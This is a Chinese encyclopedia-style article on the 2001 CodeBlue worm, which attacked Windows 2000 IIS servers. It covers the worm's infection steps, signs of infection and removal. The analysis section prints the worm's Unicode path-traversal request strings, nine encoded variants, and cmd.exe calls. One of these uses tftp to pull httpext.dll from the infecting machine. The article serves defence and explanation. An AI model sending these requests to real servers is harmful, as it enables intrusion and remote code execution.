複製鏈接
請複製以下鏈接發送給好友

藍色代碼

(名為Worm.IIS.CodeBlue的新型惡性網絡蠕蟲病毒)

鎖定
藍色代碼是一種名為Worm.IIS.CodeBlue的新型惡性網絡蠕蟲病毒。“藍色代碼”是一種專門攻擊WINDOWS2000系統的惡性網絡蠕蟲病毒。2001年9月5日國家計算機病毒應急處理中心成員單位、北京江民公司接到告急用户後,連夜編寫出了新的升級殺毒庫,並立即將該病毒上報“國家計算機病毒應急處理中心”。
中文名
藍色代碼
外文名
Worm.IIS.CodeBlue
屬    性
網絡蠕蟲病毒
國內發現時間
2001年9月5日
影響系統
WINDOWS2000
解決辦法
殺毒軟件,下載補丁

藍色代碼病毒特性

藍色代碼界面 [1]  “藍色代碼”蠕蟲病毒感染WindowsNT和Windows2000系統服務器,由於其攻擊微軟inetinfo.exeIIS服務程序的IIS漏洞(請見IISUnicode漏洞分析),並植入名為SvcHost.EXE的黑客程序運行,該蠕蟲病毒將在服務器內存中不斷地生成新的線程,最終導致系統運行緩慢,甚至癱瘓;如果操作系統是Windows2000會將該系統的IISAdmin服務停止運行,導致無法對外提供Web服務服務器徹底癱瘓。
蠕蟲運行會生成“C:\d.vbs”腳本程序,該腳本程序運行時將停止所有“.ida,.idq,.printer”的系統服務;同時嘗試下載“httpext.dll”到“C:”以及“C:\inetpubscriptshttpext.dll”。
紅色代碼”相比,紅色代碼主要攻擊IIS中的索引服務,而“藍色代碼”針對IIS自身的Unicode漏洞,攻擊範圍更廣,傳染性更強,黑客程序運行後將全面控制被感染的系統,同時修改註冊表中有關IIS的設置,並在開機時啓動程序SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN的註冊表項,添加了自動運行黑客程序SvcHost.EXE的功能,重新啓動時黑客程序將自動運行,因此造成的破壞性將比紅色代碼更加可怕。
“藍色代碼”同時還不斷訪問211.99.196.135綠盟科技的網站,期望象紅色代碼一樣,對綠盟科技的網站進行Dos攻擊。據反病毒專家介紹説,該病毒比“紅色代碼II”有更強大的攻擊性,計算機一旦感染該病毒,將大量佔用系統內存,導致系統運行速度下降直至系統癱瘓。
專家告誡廣大互聯網用户,儘快升級防病毒軟件,如最新版反病毒軟件Kaspersky(卡巴斯基),這樣可有效的防範該病毒的侵犯。

藍色代碼病毒分析

網絡傳播的,它不感染文件
一、本病毒是基於網絡傳播的,它不感染文件。
該病毒包括三個文件:svchost.exe,d.vbs,httpext.dll,其中httpext.dll運行時會產生一個svchost.exe,svchost.exe運行時會產生d.vbs。svchost.exe和httpext.dll都是用VC編寫的,svchost.exe在編譯完成後用UPX進行了壓縮;httpext.dll使用了Microsoft的MFC。本病毒主要主向被感染主機發GET請求,GET請求是WEB服務的基本命令,它向WEB服務器請求一個頁面,WEB服務器可以運行某些程序,來生成這些頁面。對於IIS服務器來説,它一般有一個虛擬根scripts(安裝IIS時自動建立的),該虛擬根下的腳本或程序可以根據用户的請求進行執行,虛擬根對應於磁盤上一個目錄,IIS嚴重問題在於用户能通過該虛擬根執行它對應目錄的上一級目錄或其它目錄中的程序,但這需要利用IIS服務的UNICODE漏洞,即將某些字符串在作為UNICODE轉換時錯誤地轉換為“\”,即WINDOWS的路徑分隔符,因此使客户可以執行IIS服務器上的一些文件。
病毒初始傳染條件
二、該病毒初始傳染條件為,httpext.dll在C盤根目錄,啓動svchost.exe即可感染,開始感染其它機器者稱為本機,被感染對象稱為被感染主機,下同。
第一步:本機svchost進程調用_beginthread函數創建一個線程,該線程建立一個基本於UDP協議的文件傳輸服務器,即tftp服務器,它的作用就是向請求者發送文件httpext.dll(它將文件C:\httpext.dll讀入內存,然後等待用户請求)。
第二步:本機svchost進程註冊一個窗口類,類名為worm,按此類創建一個隱藏窗口
第三步:這一步到第六步都是本機svchost進程的窗口函數在處理WM_CRERATE消息時完成的。首先1、在本機設立一個已感染標識,為一全局的名為CodeBlue的原子(GlobalAtom);2、修改註冊表,在HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中建一項,名為DomainManager以在每次啓動系統時自動運行svchost.exe;3、將C:\svchost.exe和C:\httpext.dll文件改為系統、隱藏屬性。
第四步:產生文件C:\D.VBS,並啓動wscript.exe運行該文件。如果本機的當前操作系統是NT5(即WINDOWS2000)的話,查找本機的inetinfo.exe進程,並試圖結束該進程。
第五步:調用_beginthread函數創建100個感染線程。每創建一個感染線程,休眠137毫秒,再創建下一個感染線程。
第六步:休眼5秒後將本機的C:\D.VBS文件刪除。

藍色代碼感染線程

第一步、調用系統APIGetSystemTime取本機系統當前時間(UTC時間),如果小時數大於10且小於11(不可能滿足的條件),攻擊211.99.196.135(綠盟英文網站)。
第二步、隨機生成一個IP地址,如果得到的IP地址為A類地址,則將IP地址的後兩段變為自己IP地址的後兩段,否則,直接用計算出的IP地址,該地址即為被感染主機的IP地址。連接被感染主機的80端口,如果連接失敗,根據IP地址休眠最多4097毫秒後,重複這一步感染下一個地址;如果成功再向被感染主機發送請求“HEAD/HTTP/1.0”請求,此請求要求被感染主機回答是否支持HTTP1.0且為IIS服務器,如果不是IIS服務器,重複這一步,感染下一個地址,如果是,繼續下一步。
第三步、檢測被感染主機的IIS服務器的UNICODE漏洞,這種檢測最多重試7次,如果成功,轉下步,否則,轉第一步。檢測過程如下:
向被感染主機發送“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+dir”請求,如果成功,則表明漏洞存在。其中XX是一個字符串,IIS服務器會把它作UNICODE字符串解釋,解釋結果錯誤地為“\”,也就是WINDOWS的路徑分隔符,這就是UNICODE漏洞。該病毒帶了9個可能的字符串,為:
%255c
%c1%1c
%c0%2f
%c0%af
%c1%9c
%%35%63
%%35c
%25%35%63
%252f
如果漏洞存在,此請求導致被感染主機執行winnt/system32目錄下的cmd.exe程序,“+”表示空格,“?”號表示後面是參數,“/c”表示以控制枱方式執行後面的命令,它會將被感染主機控制枱的輸出送給本機。“dir”是在被感染主機上要執行的命令。病毒並不關心命令執行的結果,而是隻是關心該命令是否被執行,如果執行了,表明漏洞存在。
第四步、調用_beginthread函數創建一個感染線程,向被感染主機發送請求:“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+tftp+-I+YY+get+httpext.dll”XX為檢測到的漏洞串,YY為本機IP地址,它的作用是啓動被感染主機winnt/system32目錄的tftp.exe程序,“-i”讓該程序以二進進方式從本機取httpext.dll(本機已在svchost.exe啓動時建立了tftp服務器),httpext.dll被傳到被感染主機scripts目錄中。
第五步、休眼2秒,向被感染主機發請求:“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+copy+httpext.dll+c:\”,它的作用是讓被感染主機將scripts目錄httpext.dll文件從拷貝到被感染主機的C盤根目錄下。
第六步、向被感染主機發請求:“GET/scripts/httpext.dll”。此請求導致被感染主機的IIS服務器運行scripts目錄中的httpext.dll,httpext.dll將檢查被感染主機是否有CodeBlue這個全局原子(GlobalAtom),如果沒有,生成svchost.exe,並運行它。這一步如果失敗,將最多重試3次。至此感染過程完成。

藍色代碼關於D.VBS

腳本文件將刪除本機IIS服務的三個影射.IDA、.IDQ和.printer。

藍色代碼解決方法

1.用殺毒軟件,如KV3000,RAV2001
2.用微軟補丁包:
下載地址:http://www.microsoft.com/Windows2000/downloads/critical/q293826/download.asp

藍色代碼感染特徵

1.打開資源管理器,到C盤根目錄“c:\”,看一看是否存在c:\svchost.exe,c:\httpext.dll,由於這兩個文件帶有隱藏屬性,因此需要到資源瀏覽器的“工具”菜單中“文件夾選項”的“查看”頁,將“顯示所有文件和文件夾”選項選上,才能確定;
2.到開始菜單的“運行”項,使用regedit.exe註冊表編輯器,到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”看一看是否存在“DomainManager”:“c:\svchost.exe;
3.打開任務管理器,到“查看”菜單中的“選擇列”,將其中“線程計數”選項選上,確定會到“進程”頁,看一看svchost.exe所用的線程數是否超過100;CodeBlue的線程數一般會是104,105左右;
4.打開資源管理器,到“C:\inetpub\scripts\”目錄,看一看是否有httpext.dll。
通過以上的特徵,您可以很方便識別CodeBlue的存在,由於CodeBlue蠕蟲非常狡猾,為了降低大家的警覺性,程序文件的名字採用了系統中已經有的文件svchost.exe(C:\winnt\system32\),httpext.dll(C:\winnt\system32\inetsrv\),如果用户不小心誤刪除,可以到相同版本的機器上拷貝相應文件,或者重新安裝WindowsNT/2000,如果是Win2000以上版本到c:\winnt\system32\dllcache下拷貝就可以。

藍色代碼手動清除方法

1、請先關掉IIS服務,避免在此過程中再度受到網上的漏洞攻擊;
2、啓動進程管理器,打開線程瀏覽,然後查看名稱為svchost.exe的進程,通常系統自己會有兩個,而CodeBlue的執行進程也是這個名字。系統的與CodeBlue的進程最顯式的區別在於CodeBlue的進程具有相當多的線程,通常CodeBlue的svchost.exe進程含有100個以上的線程;
3、一個一個關掉這些CodeBlue的svchost.exe進程;
4、刪除C:\目錄下的svchost.exe文件和httpext.dll文件,注意CodeBlue的這兩個文件是具有隱含、系統屬性的,需要打開查看所有文件選項;
5、刪除C:\inetpub\scripts\目錄下的大小為46587或者47099的httpext.dll文件。
6、打開註冊表編輯器,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,刪除其中以DomainManager命名的鍵值
7、完成。
參考資料